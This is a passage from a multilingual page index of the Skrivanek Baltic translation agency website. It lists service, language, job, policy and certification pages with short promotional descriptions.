lähemalt, milliste teenustega saame abiks olla! - [Taani keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/): Asjatundlikud tõlked taani keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Tšehhi keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/): Asjatundlikud tõlked tšehhi keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Finantssektor ja pangandus](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/): Meil on üle 25 aasta kogemust aastaaruannete, investeerimis- ja turuaruannete, uuringute, lepingute, eeskirjade ja lubade tõlkimisel. Loe lähemalt! - [IT ja mängud](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/): Tarkvara ja arvutimängude lokaliseerimine, AdWords märksõnade tõlkimine, täpse terminoloogiaga infotehnoloogia tõlked. Loe lähemalt! - [Kaubandus](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-tirdzniecibas-nozarei/): Kõige ilusam keel on emakeel! Tutvusta oma toodet või teenust klientidele üle kogu maailma nende emakeeles meie asjatundlike tõlgete abil. Loe lähemalt! - [Kindlustus](https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-apdrosinasanas-nozarei/): Kindlustuslepingute, kindlustustingimuste, kindlustuspoliiside, nõuete, taotluste jm kindlustusdokumentide täpsed ja asjatundlikud tõlked. Loe lähemalt! - [Hispaania keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-spanu-valoda/): Asjatundlikud tõlked hispaania keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Inglise keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/): Asjatundlikud tõlked inglise keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Itaalia keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-italu-valoda/): Asjatundlikud tõlked itaalia keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Kreeka keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/): Asjatundlikud tõlked kreeka keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Eesti keel](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-igaunu-valoda/): Asjatundlikud tõlked eesti keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Keeled](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/): Asjatundlikud tõlked tšehhi keelde ja keelest. Loe lähemalt, milliste teenustega saame abiks olla! - [Privaatsuspõhimõtted](https://skrivanek.lv/privatuma-politika/): [vc_toggle title=”1. Isikuandmete vastutav... - [Teatis küpsiste kasutamise kohta](https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/): MIS ON KÜPSISED? Need on väikesed... - [Kvaliteet ja turvalisus](https://skrivanek.lv/kvalitate-un-drosiba/): Meie teenuste kvaliteedi tõstmiseks, positsiooni tugevdamiseks keeleteenuste turul ning keskkonna- ja infoturbemeetmete... - [Meist](https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/): 25 aastat kogemust,110+ keelt ja üle 3000 spetsialisti - tõlked Sinu ala asjatundjatelt! - [Eetikakoodeks](https://skrivanek.lv/etikas-kodekss/): Meie äritegevuse alus on... - [Korduma kippuvad küsimused](https://skrivanek.lv/biezak-uzdotie-jautajumi/): Korduma kippuvad küsimused ja vastused Skrivaneki Baltic keeleteenuste pakkuja kohta. Ei leidnud vastust küsimusele? Võtke meiega ühendust! - [Valdkonnad](https://skrivanek.lv/tulkosanas-nozares/): Meie tõlkijatel on meditsiini-, õigus-, tehnika- ja muude valdkondade kogemus, mis aitab tagada parima tulemuse. ⭐️ - [Skrivanek Baltic](https://skrivanek.lv/): Enam kui 25-aastase kogemusega keeleteenuse pakkuja: professionaalsed keeleteenused ettevõtetele ja eraisikutele. Võtke meiega ühendust! - [Kirjalikud tõlked](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/): Meie 25 aastat kogemust, üle 110 keele ja enam kui 3000 keelespetsialisti on sinu päralt! Usalda oma tekstid asjatundjate kätte! - [Kontakt](https://skrivanek.lv/kontakti/): 25 aastat kogemust, 110+ keelt ja üle 3000 spetsialisti - tõlked Sinu ala asjatundjatelt! - [Suulised tõlked](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/): Suulised tõlked on abiks konverentsidel, ärikohtumistel ja muudel rahvusvahelistel toimingutel. Küsi pakkumist tõlketeenusele Skrivanekist! - [Lokaliseerimine](https://skrivanek.lv/pakalpojumi/lokalizacija/): Tarkvara, veebilehtede, jooniste ja skeemide lokaliseerimine, pidades silmas sihtkeele eripärasid ning sihtriigi õigusnorme ja standardeid. Loe lähemalt! - [Tulkojumi korejiešu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-korejiesu-valoda/): Dažādu dokumentu un pasākumu tulkojumi korejiešu valodā. Saņemiet cenas pieprasījumu bez maksas tikai 15 minūtēs. - [Tulkojumi bulgāru valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-bulgaru-valoda/): Dažādu dokumentu un pasākumu tulkojumi bulgāru valodā. Sazinieties ar mums un saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs. - [Tulkojumi holandiešu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-holandiesu-valoda/): Rakstiski un mutiski tulkojumi holandiešu valodā. Saņemiet cenas aprēķinu bez maksas tikai 15 minūtes! Sazinieties ar mums! - [Tulkojumi ebreju valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ebreju-valoda/): Dažādu dokumentu tulkojumiun mutiskie tulkojumi ebreju valodā. Saņemiet bezmaksas cenas piedāvājumu tikai 15 minūtēs. - [Tulkojumi slovāku valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-slovaku-valoda/): Dažādu dokumentu un pasākumu tulkojumi slovāku valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs! - [Tulkojumi turku valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-turku-valoda/): Rakstiskie un mutiskie tulkojumi turku valodā. Vairāk kā 25 gadu pieredze. Saņemiet bezmasas cenas aprēķinu tikai 15 minūtēs! - [Konkurss Labākais jaunais tulkotājs 2022](https://skrivanek.lv/konkurss-labakais-jaunais-tulkotajs-2022/): Ikgadējais konkurss "Labākais jaunais tulkotājs" tiek rīkots sadarbībā ar 9 lielākajām Latvijas augstskolām. Vērtīgas balvas. - [Tulkojumi ukraiņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ukrainu-valoda/): Dokumentu tulkojumi un mutiskie tulkojumi ukraiņu valodā. Saņemiet cenas piedāvājumu tikai 15 minūtēs, sazinieties ar mums! - [Tulkojumi kurdu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-kurdu-valoda/): Dokumentu tulkojumi un mutiskie tulkojumi kurdu valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs! Sazinieties ar mums! - [Tulkojumi baltkrievu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-baltkrievu-valoda/): Dokumentu tulkojumi, mutiskie tulkojumi un citi valodu risinājumi baltkrievu valodā. Saņemiet cenas aprēķinu tikai 15 minūtēs! - [Tehniskā tulkošana](https://skrivanek.lv/tehniska-tulkosana/): Profesionāli tehniskās dokumentācijas, iekārtu instrukciju un programmnodrošinājuma tulkojumi, ievērojot nozares terminaloģiju. - [Технические переводы](https://skrivanek.lv/tehniska-tulkosana/): Профессиональные переводы технических документов, руководств по эксплуатации оборудования в соответствии с отраслевой терминологией. - [Policy for employees, suppliers and partners](https://skrivanek.lv/politika-darbiniekiem-piegadatajiem-un-sadarbibas-partneriem/): Skrivanek fosters a collaborative environment for employees, vendors, and partners, ensuring mutual growth and success. - [Dutch proofreader](https://skrivanek.lv/en/dutch-proofreader/): Skrivanek Baltic is looking for skilled Dutch proofreaders. Join our team and work on diverse, exciting language projects! - [Norwegian proofreader](https://skrivanek.lv/en/norwegian-proofreader/): Skrivanek Baltic is looking for skilled Norwegian proofreaders. Join our team and work on diverse, exciting language projects! - [Estonian proofreader](https://skrivanek.lv/en/estonian-proofreader/): Skrivanek Baltic is looking for skilled Estonian proofreaders. Join our team and work on diverse language projects! - [English-Dutch translator](https://skrivanek.lv/en/english-dutch-translator/): Skrivanek Baltic is looking for skilled English–Dutch translation experts. Join our team and work on diverse translation projects! - [English-Norwegian-English translatiors](https://skrivanek.lv/en/english-norwegian-english-translatiors/): Skrivanek Baltic is looking for experienced English-Norwegian-English translators. Join our team and work on exciting translation projects! - [English-Danish-English translators](https://skrivanek.lv/en/english-danish-english-transllators/): WE ARE LOOKING FOR ENGLISH-DANISH-ENGLISH TRANSLATORS Increased demand for English-Danish-English translations has made Skrivanek... - [English-Swedish-English translators](https://skrivanek.lv/en/english-swedish-english-translators/): Skrivanek Baltic is looking for experienced English–Swedish–English translators. Join our team and work on exciting translation projects! - [English-Finnish-English translators](https://skrivanek.lv/en/english-finnish-english-translators/): We are looking not only for standard and certified translators, interpreters, but also specialists for comprehensive localisation. - [Tulkojumi rumāņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-rumanu-valoda/): Dažādu dokumentu un pasākumu tulkojumi rumāņu valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs. Sazinieties ar mums! - [Tulkojumi ķīniešu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-kiniesu-valoda/): Dokumentu tulkojumi un mutiskie tulkojumi ķīniešu valodā. Saņemiet bezmaksas cenas aprēķinu 15 minūtēs! Sazinieties ar mums! - [Tulkojumi hindi valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/hindi-valodas-tulkojumi/): Dažādu dokumentu un pasākumu tulkojumi hindi valodā. Saņemiet bezmaksas cenas piedāvājumu tikai 15 minūtēs. - [Tulkojumi portugāļu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-portugalu-valoda/): Dokumentu tulkojumi, mutiskie tulkojumi, valodu kursi un citi valodu risinājumi portugāļu valodā. Uzziniet vairāk! - [Tulkojumi slovēņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-slovenu-valoda/): Rakstiskie un mutiskie tulkojumi slovēņu valodā. Sazinieties ar mums un saņemiet bezmaksas cenas aprēķinu 15 minūtēs! - [Tulkojumi ungāru valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ungaru-valoda/): Rakstiskie un mutiskie tulkojumi, kā arī citi valodu risinājumi ungāru valodā. Sagatavosim bezmaksas cenas piedāvājumu 15 minūtēs! - [Tulkojumi arābu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-arabu-valoda/): Profesionāli tulkojumi un valodu kursi arābu valodā. Valodu uzņēmums ar vairāk nekā 25 gadu pieredzi. Saņem cenas piedāvājumu 15 minūtēs! - [Tulkojumi gruzīnu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-gruzinu-valoda/): Rakstiskie un mutiskie tulkojumi gruzīnu valodā. Saņemiet bezmaksas cenas aprēķinu 15 minūtēs! ISO sertificēts tulkošanas birojs. - [Tulkojumi armēņu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-armenu-valoda/): Saņemiet bezmaksas cenu aprēķinu 15 minūtēs! Tulkojumi no/uz armēņu valodu. Sertificēts tulkošanas birojs ar vairāk nekā 25 gadu pieredzi. - [Организация онлайн-мероприятий](https://skrivanek.lv/tiessaistes-pasakumu-rikosana/): Необходимо организовать онлайн-мероприятие? Skrivanek Baltic предлагает профессиональные услуги проведения мероприятий в виртуальной среде! - [Organising and interpreting online events](https://skrivanek.lv/tiessaistes-pasakumu-rikosana/): Are you planning to organise a virtual conference where the attendees speak several foreign languages? Our professionals will help you! - [Desktop-publishing](https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/): The specialists will take care of your text’s graphic design to match the original. Comprehensive text processing before printing. - [DTP – графическая обработка текстов](https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/): Опытные специалисты Skrivanek Baltic готовы выполнить графическую обработку ваших текстов (DTP) в полном соответствии с оригиналом. - [Politika darbiniekiem, piegādātājiem un sadarbības partneriem](https://skrivanek.lv/politika-darbiniekiem-piegadatajiem-un-sadarbibas-partneriem/): Skrivanek nodrošina uz sadarbību vērstu vidi darbiniekiem, piegādātājiem un partneriem, nodrošinot savstarpēju izaugsmi un panākumus. - [латышский](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latviesu-valoda/): Переводчик с латышского – мы предлагаем языковые решения более чем в 300 языковых комбинациях! Связывайтесь с нами! - [Tulkojumi latviešu valodā](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-latviesu-valoda/): Dažādu dokumentu un pasākumu tulkojumi latviešu valodā. Saņemiet bezmaksas cenas piedāvājumu tikai 15 minūtēs! - [Information security policy](https://skrivanek.lv/kvalitate-un-drosiba/informacijas-drosibas-politika/): Learn how Skrivanek Baltic ensures data protection, confidentiality, and compliance through its comprehensive Information Security Policy. - [Quality and environment management policy](https://skrivanek.lv/kvalitate-un-drosiba/kvalitates-un-vides-vadibas-integreta-politika/): Discover Skrivanek Baltic’s quality and environmental responsibility management. See how our policies ensure sustainability & compliance. - [Tiešsaistes pasākumu rīkošana](https://skrivanek.lv/tiessaistes-pasakumu-rikosana/): Skrivanek Baltic piedāvā profesionālu pasākumu moderēšanu un tulkošanu. Tulkošana Zoom platformā ir iespējama kā secīgi, tā arī sinhroni. - [Latviešu valodas padomi](https://skrivanek.lv/noderigi-latviesu-valodas-padomi/): Noderīgi un viegli uztverami latviešu valodas padomi, kas būs noderīgi ikvienam – biznesā vai ikdienas situācijās. Izvairies no kļūdām! - [Digital marketing content localisation](https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/): Digital marketing content translation and localisation. Keyword research for SEO optimisation. Get a free quote! - [Локализация цифрового маркетингового содержания](https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/): Локализация и перевод контента для цифрового маркетинга. Исследование ключевых слов для SEO-оптимизации. Получите бесплатное предложение! - [Digitālā mārketinga satura lokalizācija](https://skrivanek.lv/pakalpojumi/lokalizacija/digitala-marketinga-satura-lokalizacija/): Tīmekļa vietnes, reklāmas kampaņas, sociālo tīklu satura lokalizācija vairāk nekā 110 valodās. Tirgū jau vairāk nekā 25 gadus! - [Tulkošanas datņu formāti](https://skrivanek.lv/tulkosanas-datnu-formati/): Populārākie datņu formāti, kurus ikdienā tulkojam. Neatradāt savu datņu formāti? Sazinieties ar mums! Sagatavosim jums piedāvājumu. - [Локализация контента и решений в сфере дистанционного обучения](https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/): Локализуйте ваш учебный контент или электронное решение хотя бы на несколько самых популярных языков в мире или в вашем регионе! - [E-mācību satura un risinājumu lokalizācija](https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/): E-mācību satura vai mācību sistēmas lokalizācija vairāk nekā 110 valodās. Sazinieties ar mums, sagatavosim jums piedāvājumu! 👆️ - [Localisation of e-learning content and solutions](https://skrivanek.lv/pakalpojumi/lokalizacija/e-macibu-satura-un-risinajumu-lokalizacija/): Localise your learning content or e-solution in at least some of the most popular languages in the world or in your region! - [Стоимость перевода](https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/): Стоимость перевода рассчитывается индивидуально, исходя из различных факторов, например, количество слов, срок выполнения перевода и тд. - [Инструменты перевода](https://skrivanek.lv/pakalpojumi/tulkosanas-riki/): Skrivanek использует самые современные и эффективные инструменты перевода (CAT), которые помогают выполнить перевод на высшем уровне. - [Translation Prices](https://skrivanek.lv/pakalpojumi/tulkosanas-cenas/): Send us your documents, and we will provide you a quote on the service price before beginning the translation. - [Notary-certified translation](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/notariali-apliecinats-tulkojums/): Notary-certified translations. Documents are verified by a sworn notary, a sworn translator takes full responsibility for the translations. - [Machine Translation for Businesses](https://skrivanek.lv/masintulkosana-uznemumiem/): Skrivanek NMT has been developed using the 30-year-long experience and expertise of the Skrivanek team in the translation industry. - [Whistleblowing](https://skrivanek.lv/trauksmes-celsana/): SIA Skrivanek Baltic contact person in whistleblowing matters is Jeļena Lapoška, the Head of the Administrative Department. - [Осведомление о нарушениях](https://skrivanek.lv/trauksmes-celsana/): В случае нарушений, вы можете обратиться к нашему контактному лицу по вопросам, связанным с осведомлением о нарушениях. - [Машинный перевод для предприятий](https://skrivanek.lv/masintulkosana-uznemumiem/): Skrivanek NMT – отличное решение для выполнения перевода в сжатые сроки. Мы предлагаем качественный машинный перевод разных видов. - [Mašīntulkošana uzņēmumiem](https://skrivanek.lv/masintulkosana-uznemumiem/): Skrivanek NMT – piemērots risinājums liela apjoma satura tulkošanai, kas paredzēts iekšējām vajadzībām. Mašīntulkošana ar pēcrediģēšanu - [Trauksmes celšana](https://skrivanek.lv/trauksmes-celsana/): SIA “Skrivanek Baltic” kontaktpersona trauksmes celšanas jautājumos ir Administratīvās nodaļas vadītāja Jeļena Lapoška. E-pasts: trauksme@skrivanek.lv. - [Logotipi](https://skrivanek.lv/logotipi/): Lejupielādējiet valodu uznēmuma Skrivanek un bērņu nometņu logotipus PNG vai JPG formātā. Sazinieties ar mums, ja rodas jautājumi! - [Language Codes](https://skrivanek.lv/valodu-kodi/): ISO 639-1 language codes represent names of the major world languages. The codes are assigned by the Infoterm. - [Коды языков](https://skrivanek.lv/valodu-kodi/): Коды языков ISO 639-1 обозначают названия крупнейших языков мира. Узнайте больше! 👆️ - [Valodu kodi](https://skrivanek.lv/valodu-kodi/): Tie ir valodu identifikatori, kas tika izstrādāti terminoloģijas, lingvistikas, tulkojuma un dokumentācijas un informācijas vajadzībām. - [Cooperation Partners](https://skrivanek.lv/sadarbibas-partneri/): Translation agency Skrivanek Baltic is part of various organisations. Find out more! - [Special Offers](https://skrivanek.lv/ipasie-piedavajumi/): Save on professional translations, interpreting services and language courses with Skrivanek Baltic's special offers. - [Деловые партнеры](https://skrivanek.lv/sadarbibas-partneri/): [vc_column width=”1/2″ css_animation=”none” css=”. vc_custom_1612455790133{border-right-width: 2px ! important;border-right-color: #b3110d... - [Специальные предложения](https://skrivanek.lv/ipasie-piedavajumi/): Воспользуйтесь специальными предложениями от бюро переводов Skrivanek и получите скидку на переводы, языковые курсы, а также детские лагеря! - [Career](https://skrivanek.lv/karjera/): Find out the jobs that are currently available. Learn more about our recruiting process by reading our requirements and terms of cooperation. - [Översättning](https://skrivanek.lv/pakalpojumi/rakstiskie-tulkojumi/): Översättning Vi översätter dokument av praktiskt taget alla typer och... - [Tolkning](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/): Tolkning Vi tillhandahåller tolkningstjänster i olika kombinationer på mer än 40 olika språk. Våra... - [Localisation](https://skrivanek.lv/pakalpojumi/lokalizacija/): Lokalisering Vi tillhandahåller inte bara översättningar utan ser också till att de lokaliserade produkterna... - [Vanliga frågor](https://skrivanek.lv/biezak-uzdotie-jautajumi/): [vc_column_inner css=”. vc_custom_1508852645932{margin-top: 10px ! important;margin-bottom: 10px ! important;border-top-width: 1px ! important;border-right-width: 1px ! important;border-bottom-width: 1px ! important;border-left-width: 1px !... - [Skrivanek Baltic](https://skrivanek.lv/): Vi är här för att stödja dig på vägen till framgång! [vc_row... - [Kontakt](https://skrivanek.lv/kontakti/): [vc_column_inner width=”1/2″ css=”. vc_custom_1508940355587{border-top-width: 1px ! important;border-right-width: 1px ! important;border-bottom-width: 1px ! important;border-left-width: 1px ! important;padding-top: 30px ! important;padding-right: 30px... - [Languages](https://skrivanek.lv/?page_id=5): Rakstiskie, mutiskie tulkojumi un citi valodu pakalpojumi visās popuārākajās Eiropas valodu kombinācijās. Sazinieties ar mums: birojs@skrivanek.lv! - [Кто мы?](https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/): Качественные языковые услуги для предприятий и физических лиц. Наше предприятие сертифицировано по стандартам ISO 9001, EN 17100, ISO 27001. Узнайте больше! - [Качество и надежность](https://skrivanek.lv/kvalitate-un-drosiba/): Внедренные системы управления – ISO 9001, ISO 14001, EN 17100, ISO/IEC 27001 – подтверждают, что мы несем ответственность за нашу работу и соблюдаем сроки! - [EN ISO 9001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-9001-kvalitates-vadibas-sistemas-sertifikats/): Сертификат подтверждает, что качество услуг, предоставляемых языковым предприятием Skrivanek, соответствует желаниям клиентов и требованиям нормативных актов. - [EN ISO 14001](https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/): Сертификат подтверждает заботу нашего предприятия об окружающей среде, в том числе использование безопасных технологий и материалов, сортировку отходов и т. п. - [EN 17100](https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/): Сертификат подтверждает, что отбор специалистов, рабочий процесс, использование технологий и другие отраслевые аспекты нашего предприятия отвечают требованиям. - [ISO/IEC 27001](https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/): Для Skrivanek очень важна ответственность перед клиентами, в том числе безопасность данных, поэтому мы внедрили систему управления информационной безопасностью. - [Consecutive Interpreting](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/): Consecutive interpreting services in 40+ languages for all work and life situations. Local and foreign interpreters. Contact us! - [Simultaneous Interpreting](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/): Simultaneous interpreting at conferences, meetings and other events in 40+ languages. Simultaneous interpreting equipment for rent. - [Conference Interpreting](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/): Professional interpreting is the key to productivity at your conference! Conference interpreting and organisation. Contact us! - [Court Interpreting](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/): We ensure interpreting at court hearings. Our interpreters are experienced and well versed in legal terminology. Contact us! - [Biomet](https://skrivanek.lv/gadijumu-izpete/biomet/): Pirmais projekts, ko veicām Biomet uzdevumā, bija ļoti steidzams 40 000 vārdu tulkojums no angļu valodas astoņās svešvalodās. Uzzini vairāk! - [Eiropas Komisija](https://skrivanek.lv/gadijumu-izpete/eiropas-komisija/): Tekstu tulkojumi informācijas tehnoloģiju, lauksaimniecības un jurisprudences jomā - tulkošanas projekta piemērs. Uzziniet vairāk! - [GE Healthcare](https://skrivanek.lv/gadijumu-izpete/ge-healthcare/): Tulkošanas projekta piemērs. Nodrošinām kvalitatīvus dažādu nozaru tekstu tulkojumus vairāk nekā 110 valodās. Saņemiet bezmaksas cenas aprēķinu! - [Geutebrück](https://skrivanek.lv/gadijumu-izpete/geutebruck/): Tehniskās dokumentācijas un tirgvedības tekstu tulkojums. Nodrošinām kvalitatīvus tulkojumus vairāk nekā 110 valodās. Saņemiet bezmaksas cenu aprēķinu! - [Kallfass](https://skrivanek.lv/gadijumu-izpete/kallfass/): Tulkošanas projekta piemērs. Nodrošinām profesionālus tulkojumus 110+ valodās. Saņemiet bezmaksas cenas aprēķinu: birojs@skrivanek.lv! - [Gadījumu izpēte](https://skrivanek.lv/gadijumu-izpete/): Veicam kvalitatīvus dažādu nozaru tekstu tulkojumus 110+ valodās. Nosūtiet mums pieprasījumu un saņemiet bezmaksas cenu aprēķinu 15 minūšu laikā! - [Последовательный перевод](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/): Услуги последовательного перевода с более чем 40 языков для различных рабочих и повседневных мероприятий. Местные и зарубежные переводчики. - [Синхронный перевод](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/): Услуги синхронного перевода с более чем 40 языков на конференциях, совещаниях и мероприятиях. Аренда оборудования для синхронного перевода. - [Перевод конференций](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/): Профессиональный перевод – залог успеха и продуктивности конференции! Перевод и организация конференций. 25+ лет опыта. Свяжитесь с нами! - [Перевод на судебных заседаниях](https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/): Оказываем услуги устного перевода на судебных заседаниях. Наши опытные переводчики хорошо ориентируются в юридической терминологии. - [Czech Language](https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-cehu-valoda/): General and specialised Czech language translations, interpreting services. Get a free quote within 15 minutes! - [Google Ads and SEO Translations](https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/): We will localise your website according to SEO principles and adapt it to GoogleAds so that all of your potential clients can easily find you! - [Переводы Google Ads и SEO](https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/): Поможем локализовать Ваш сайт, соблюдая принципы SEO, и настроим контекстную рекламу в GoogleAds, чтобы Вас смог найти каждый потенциальный клиент! - [Code of Conduct](https://skrivanek.lv/etikas-kodekss/): The Skrivanek Baltic language service provider’s principles of professional ethics and conduct are binding to our cooperation partners as well. - [Кодекс этики](https://skrivanek.lv/etikas-kodekss/): Основные принципы профессиональной этики и поведения работников языкового предприятия Skrivanek Baltic, обязательные и для партнеров Skrivanek. - [Google Ads un SEO tulkojumi](https://skrivanek.lv/pakalpojumi/lokalizacija/google-ads-un-seo-tulkojumi/): Lokalizēsim jūsu vietni, ievērojot SEO principus un pielāgosim to GoogleAds reklamēšanai, lai jūs spētu atrast ikviens potenciālais klients! - [Learn Latvian](https://skrivanek.lv/en/solutions/language-training/learn-latvian/): Latvian training for individuals and businesses. Learn Latvian in person or online. Professional teachers. Efficient learning method. - [Learn Russian](https://skrivanek.lv/en/solutions/language-training/learn-russian/): Russian training for individuals and businesses. In person or online. Efficient learning method. Professional teachers. Find out more! - [Политика конфиденциальности](https://skrivanek.lv/privatuma-politika/): Мы бережно заботимся о конфиденциальности и защите ваших данных, соблюдая права пользователя на законность обработки личных данных. - [Privacy Policy](https://skrivanek.lv/privatuma-politika/): Privacy Policy of the international language service provider Skrivanek Baltic. The company’s data protection officer Uldis Krūmiņš: dpo@skrivanek.lv. - [Declaration about the use of cookies](https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/): Find answers to the following questions: What are cookies? What is the purpose of using cookies on our website? How can you change the use of cookies? etc. - [Уведомление об использовании cookie-файлов](https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/): Читайте ответы на вопросы о том, что такое cookie-файлы, в каких целях мы используем их на нашем сайте, как можно изменить использование cookie-файлов и т. п. - [Коммерческие условия](https://skrivanek.lv/komercnoteikumi/): Skrivanek – это языковое предприятие с более чем 25-летним опытом. Профессиональные и качественные языковые услуги для юридических и физических лиц. - [Privātuma politika](https://skrivanek.lv/privatuma-politika/): Starptautiskā valodu uzņēmuma Skrivanek Baltic privātuma politika. Uzņēmuma datu aizsardzības speciālists Uldis Krūmiņš: dpo@skrivanek.lv. - [Paziņojums par sīkdatņu lietošanu](https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/): Lasiet atbildes uz jautājumiem: Kas ir sīkdatnes, kādiem mērķiem mēs izmantojam sīkdatnes šajā tīmekļa vietnē, kā sīkdatņu lietošanu var mainīt? utt. - [Blogs](https://skrivanek.lv/blogs/): Noderīgs un izglītojošs saturs: latviešu valodas padomi, valodas pērles raksti, spēles un uzņēmuma jaunumi. - [Tulkojumi Daugavpilī](https://skrivanek.lv/pakalpojumi/tulkojumi-daugavpili/): Ietaupiet laiku un līdzekļus, pasūtiet valodu pakalpojumus tiešsaistē! Sazinieties ar mums, sagatavosim tieši jums piemērotu valodu risinājumu! - [Tulkojumi Liepājā](https://skrivanek.lv/pakalpojumi/tulkojumi-liepaja/): Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Sazinieties ar mums! Sagatavosim tieši jums piemērotu piedāvājumu! - [Tulkojumi Jelgavā](https://skrivanek.lv/pakalpojumi/tulkojumi-jelgava/): Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Ātri un ērti – saņemsiet tieši jums sagatavotu piedāvājumu! - [Tulkojumi Ventspilī](https://skrivanek.lv/pakalpojumi/tulkojumi-ventspili/): Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Nosūtiet mums pieprasījumu un saņemiet jums piemērotu valodu risinājumu! - [Tulkojumi Jūrmalā](https://skrivanek.lv/pakalpojumi/tulkojumi-jurmala/): Tulkošanas birojs ar 25+ gadu pieredzi! Ietaupiet laiku un līdzekļus, pasūtot valodu pakalpojumus tiešsaistē! Sazinieties ar mums – būsim priecīgi palīdzēt! - [Tekstu gramatiskā un stilistiskā uzlabošana](https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/): Teksta korektūra jeb stilistiskās uzlabošana, tulkojuma 